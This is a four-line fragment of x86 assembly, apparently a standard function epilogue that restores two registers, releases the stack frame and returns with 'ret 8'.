pop edi
pop esi
leave
ret 8